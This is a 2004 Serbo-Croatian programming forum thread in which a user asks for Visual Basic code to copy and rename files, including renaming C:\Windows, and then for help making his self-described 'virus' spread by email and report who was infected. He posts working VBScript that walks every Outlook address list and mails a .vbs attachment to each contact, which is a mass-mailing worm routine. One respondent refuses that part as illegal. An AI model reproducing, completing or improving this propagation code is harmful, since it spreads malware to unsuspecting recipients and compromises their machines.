Source cod za kopiranje fajlova????

[ VRKY @ 03.04.2004. 21:01 ] @

Zanima me neki sourc cod za kopiranje fajlova i da ih moj program zaljepi di ja hoću napr. C:\WINDOWS\NOTEPAD.exe da se kopira u C:\Program Files

[ degojs @ 03.04.2004. 21:10 ] @

Pogledaj TOP temu "File System Object - rad sa fajlovima i folderima" i obrati pažnju na poslednju poruku u temi koja, između ostalog, pominje:

Citat:

Metode za rad sa fajlovima
-CopyFile

[ VRKY @ 04.04.2004. 14:25 ] @

Našao sam,a zna li ko source za preimenovamje fajlova

[ Marko_L @ 04.04.2004. 14:29 ] @

Code:
Name [ime fajla] As [novo ime fajla]

[ VRKY @ 04.04.2004. 14:33 ] @

Kako napr ako hoću preimenovati Windows u Windows2

[ VRKY @ 04.04.2004. 14:37 ] @

I usput zan li ko koji sourc za širenje e-mailom,ja imam neki ali ne znam gde se moj "Virs" gnjezdi pa ne znam što da stavim u Attachments.Ovo je primer sourca kojeg ja imam,i cuo sam da ima sourc ,koji me obavještava ko se s mojim "Virom"zarazio,zna li ga tko.??

Code:
On Error Resume Next
Dim Mail, cAddresses, Address, App, MAPI
Set App = CreateObject("Outlook.Application")
Set MAPI = App.GetNameSpace("MAPI")
For Each cAddresses In MAPI.AddressLists
For Each Address In cAddresses.AddressEntries
Set Mail = App.CreateItem(0)
Mail.Recipients.Add Address
Mail.Subject = "subjekt"
Mail.Body = "bodybodybody poruke"
Mail.Attachments.Add("C:\aaa5421.vbs")
Mail.Send
Next
Next

[ Marko_L @ 04.04.2004. 15:03 ] @

Citat:

Kako napr ako hoću preimenovati Windows u Windows2

Pa kao sto sam rekao, pomocu funkicije Name.Ako ti se windows nalazi na C: onda:

Code:
Name "C:\Windows" As "C:\Windows2"

Citat:

i cuo sam da ima sourc ,koji me obavještava ko se s mojim "Virom"zarazio,zna li ga tko.??

To je nelegalno i nemoralno, a virusi su opasni po zdravlje kompjutera.

[ VRKY @ 04.04.2004. 15:13 ] @

Hvala.